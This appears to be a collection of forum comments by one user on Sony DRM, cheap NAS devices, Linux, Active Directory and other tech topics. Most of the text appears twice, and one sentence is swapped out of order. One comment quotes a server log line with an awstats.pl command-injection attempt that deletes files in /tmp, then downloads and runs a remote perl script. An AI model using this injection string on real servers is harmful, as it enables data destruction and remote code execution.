The world would be a much better place if people did what you are considering. If you don't like a company or its policies -- don't support them. Don't buy any of their products (Sony CDs, computers, TVs, Cameras, MD players, Playstations, etc....). Don't buy their stock and make sure your Mutual funds don't hold their stock. And especially -- don't work for them.
It's a good thing all their movies suck or this could be a hard thing for me to stick to.
You can hate a company all you want, but if you support them, your bile does nothing but cause stress and shorten your unhappy life.
What constitues programming is so blurry, though.
Does it count when someone puts some HTML in a blog? What about Javascript? a DIY PHP site? a batchfile or shell script? Excel function/macro?
Do you only want to licence compilers? How do I install my OSS? What about the power of interpereted or JIT languages? So much can be done with uncompiled code.
My take on it is that since Sony itself publishes ways to get around the DRM (email them, they'll give it to you) all of the crap they put on the CD can't even be called a rights management system -- it's more of a barrier to entry than anything else. As such one could argue they never had any rights under DCMA to begin with.
wonk wonk blame windows.
I would call this one more reason to not buy music from Sony. I have no problems listening to music from (almost) any other label on my computer -- regardless of the OS.
I have contacted several bands on the Sony label and explained my reasons for not buying their CD (I do buy a LOT of CDs and would have bought CDs from these bands but I cannot agree to the licensing terms). If the consumers can't force Sony to behave, perhaps the artists can.
Hopefully they trimmed some of the bloat from it too. Why should a media player be the heaviest app on the system? It's gone nowhere but downhill since 6.4.
Nope. I'd say Oracle is the Bloomingtons of Databases.
Agreed. If you have to ask the price, you can't afford it.
No such items exist in Sears or Target.
Think the iSkin people are happy about how easily the iPod scratches? Think Apple is aware of how happy iSkin is? Think people would pay $40 for $0.25 worth of rubber to protect their iPods if they weren't scratch prone?
Scratchy iPods are good for the economy.
</Conspiracy theory>
I recommend the Linksys NSLU2 for cheap NAS. It has no storage itself but takes USB drives and shares them. It also has a great comminity that has replaced the stripped down stock embedded linux with a full featured one.
In addition to serving up disk space with Samba (the firmware I have will do up to 512GB but I'm a little behind. It could allow more now), mine serves a couple moderately trafficked websites, runs a daap server for music, has a bittorrent client running fulltime and acts as a VPN gateway to my office. Sure you can do all of this with a dedicated headless PC, but this thing costs ~$100, runs silent and is tiny (~5"x4"x.8").
Mom's maiden name is one of my biggest annoyances.
My bank just implemented a mandatory Mom's maiden name password retrieval system. So now I have my super-secure-password-that-nobody-will-ever-guess- or-hack with a wide open back door.
pisses me off.
It's tough to learn a language without a goal. Pick a project (even if it's already been done) pick a language and make your own version.
Learn PHP by making a photo gallery. Make a java version of your favourite board game. Create a perl spider that goes out and downloads pictures from websites that contain the words Natalie Portman and Hot Grits.
Dell offers plenty of Linux support.
You've been able to get Redhat on the servers for years and you can also get high end workstations preinstalled with Linux. All of their drivers and utilities have great Linux support as well.
But why would you use a patched together system in production when a coherent system already exists? The cost of AD/2K3 is made up pretty quickly with the time lost reading mailing lists to find a work around to allow single sign-on.
You have to use the right tool for the job. In this case there is no directory server that can touch AD. Any other solution is just trying to replicate it.
Exchange, I'm no so sold on, but it works and is well documented enough that you can do most of things with it that you will want.
It's a trade-off and, unfortunately, I don't think anyone is bothering to look to hard at the options or consequences. If the kids in grade 1 can figure out how to use a calculator well, then they are already able to do math at a minimum grade 6 level (+,-,*,/) That should (in theory) give them a few spare CPU cycles to learn calculus by Jr. High and linear regression before they're done high school. That's a huge advantage.
On the other hand, take the calculator (and the cell phone with its built in calculator and the laptop and....) away and the kid is in trouble.
we like algebra, we think it's pretty
I want that on a t-shirt. ThinkGeek? You Listening?
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Anti rejection drugs aren't just a little pill you pop like your morning Prozak. They are taken to stop your immune system from doing what it's supposed to do (i.e. treat the transplanted flesh as an infection and attack it). Good if you don't want to lose your newly trasplanted face or organ, not so good if you want to be able to fight off a cold or whatever bug your kid brings home from school. Anti rejection drugs are getting better, but they are not trivial.
If the dilema is between the above and a heart or kidney that will keep you alive, then I think it's pretty simple for most people. If it's between this and a new face, I think there is more deliberation to be done than what you suggest.
Chalk one up for publicly owned monopolies. My dad in Bumblefuck Saskatchewn has better internet access and a cheaper phone plan than I do in Toronto.
I also noticed that Bell has taken SaskTel Max and is selling it as Expressview for Condos.
If 2/3 of the population is the target, they only need to get southern Ontario and the BC lower mainland. Relatively speaking -- not that big a challenge.
Perhaps, but the argument is now opposed by the second study that says how many eager new IT people have Linux skills. Young = cheap.
This is brining the admin cost of Linux down to the point where Windows admins were a few years ago when everyone got their MCSE.
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The world would be a much better place if people did what you are considering. If you don't like a company or its policies -- don't support them. Don't buy any of their products (Sony CDs, computers, TVs, Cameras, MD players, Playstations, etc....). Don't buy their stock and make sure your Mutual funds don't hold their stock. And especially -- don't work for them.
It's a good thing all their movies suck or this could be a hard thing for me to stick to.
You can hate a company all you want, but if you support them, your bile does nothing but cause stress and shorten your unhappy life.
What constitues programming is so blurry, though.
Does it count when someone puts some HTML in a blog? What about Javascript? a DIY PHP site? a batchfile or shell script? Excel function/macro?
Do you only want to licence compilers? How do I install my OSS? What about the power of interpereted or JIT languages? So much can be done with uncompiled code.
My logs are full of attempts on those pages as well. Interestingly, the UA comes up as IE6 on Win98.
/awstats/awstats.pl?configdir=|echo%20;cd%20/tmp;r m%20-rf%20*;killall%20-9%20perl;wget%20www.pulamea suxtefute.com/sess_3539283e27d73cae29fe2b80f9293f5 9;perl%20sess_3539283e27d73cae29fe2b80f9293f59;ech o%20;echo| HTTP/1.1" 404 304 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
203.75.99.18 - - [30/Jul/2005:06:30:39 -0400] "GET
Yes, it's trivial to fake a UA, but it's still odd.
My take on it is that since Sony itself publishes ways to get around the DRM (email them, they'll give it to you) all of the crap they put on the CD can't even be called a rights management system -- it's more of a barrier to entry than anything else. As such one could argue they never had any rights under DCMA to begin with.
wonk wonk blame windows.
I would call this one more reason to not buy music from Sony. I have no problems listening to music from (almost) any other label on my computer -- regardless of the OS.
I have contacted several bands on the Sony label and explained my reasons for not buying their CD (I do buy a LOT of CDs and would have bought CDs from these bands but I cannot agree to the licensing terms). If the consumers can't force Sony to behave, perhaps the artists can.
Even that would be a tough thing to argue, given that Sony tells you how to get around their DRM in order to import songs onto the iPod
Do you often put your "legal backups" up for public distribution?
I wasn't aware that the US congress had any juristiction over an international body like the IOC. Or did I miss a Swiss invasion?
Hopefully they trimmed some of the bloat from it too. Why should a media player be the heaviest app on the system? It's gone nowhere but downhill since 6.4.
Nope. I'd say Oracle is the Bloomingtons of Databases.
Agreed. If you have to ask the price, you can't afford it.
No such items exist in Sears or Target.
Think the iSkin people are happy about how easily the iPod scratches? Think Apple is aware of how happy iSkin is? Think people would pay $40 for $0.25 worth of rubber to protect their iPods if they weren't scratch prone?
Scratchy iPods are good for the economy.
</Conspiracy theory>
I recommend the Linksys NSLU2 for cheap NAS. It has no storage itself but takes USB drives and shares them. It also has a great comminity that has replaced the stripped down stock embedded linux with a full featured one.
In addition to serving up disk space with Samba (the firmware I have will do up to 512GB but I'm a little behind. It could allow more now), mine serves a couple moderately trafficked websites, runs a daap server for music, has a bittorrent client running fulltime and acts as a VPN gateway to my office. Sure you can do all of this with a dedicated headless PC, but this thing costs ~$100, runs silent and is tiny (~5"x4"x.8").
Sounds good in theory, but people are pretty brand loyal. How many Mac users jumped ship when they changed from Classic to OSX? 5?
Mom's maiden name is one of my biggest annoyances.- or-hack with a wide open back door.
My bank just implemented a mandatory Mom's maiden name password retrieval system. So now I have my super-secure-password-that-nobody-will-ever-guess
pisses me off.
It's tough to learn a language without a goal. Pick a project (even if it's already been done) pick a language and make your own version.
Learn PHP by making a photo gallery. Make a java version of your favourite board game. Create a perl spider that goes out and downloads pictures from websites that contain the words Natalie Portman and Hot Grits.
Dell offers plenty of Linux support.
You've been able to get Redhat on the servers for years and you can also get high end workstations preinstalled with Linux. All of their drivers and utilities have great Linux support as well.
Is there anyone left that doesn't offer Linux?
But why would you use a patched together system in production when a coherent system already exists? The cost of AD/2K3 is made up pretty quickly with the time lost reading mailing lists to find a work around to allow single sign-on.
You have to use the right tool for the job. In this case there is no directory server that can touch AD. Any other solution is just trying to replicate it.
Exchange, I'm no so sold on, but it works and is well documented enough that you can do most of things with it that you will want.
It's a trade-off and, unfortunately, I don't think anyone is bothering to look to hard at the options or consequences.
If the kids in grade 1 can figure out how to use a calculator well, then they are already able to do math at a minimum grade 6 level (+,-,*,/) That should (in theory) give them a few spare CPU cycles to learn calculus by Jr. High and linear regression before they're done high school. That's a huge advantage.
On the other hand, take the calculator (and the cell phone with its built in calculator and the laptop and....) away and the kid is in trouble.
we like algebra, we think it's pretty
I want that on a t-shirt. ThinkGeek? You Listening?
Anti rejection drugs aren't just a little pill you pop like your morning Prozak. They are taken to stop your immune system from doing what it's supposed to do (i.e. treat the transplanted flesh as an infection and attack it). Good if you don't want to lose your newly trasplanted face or organ, not so good if you want to be able to fight off a cold or whatever bug your kid brings home from school. Anti rejection drugs are getting better, but they are not trivial.
If the dilema is between the above and a heart or kidney that will keep you alive, then I think it's pretty simple for most people. If it's between this and a new face, I think there is more deliberation to be done than what you suggest.
Bumblefuck isn't in the middle of nowhere, but you can see it from there.
Chalk one up for publicly owned monopolies. My dad in Bumblefuck Saskatchewn has better internet access and a cheaper phone plan than I do in Toronto. I also noticed that Bell has taken SaskTel Max and is selling it as Expressview for Condos.
If 2/3 of the population is the target, they only need to get southern Ontario and the BC lower mainland. Relatively speaking -- not that big a challenge.
Perhaps, but the argument is now opposed by the second study that says how many eager new IT people have Linux skills. Young = cheap.
This is brining the admin cost of Linux down to the point where Windows admins were a few years ago when everyone got their MCSE.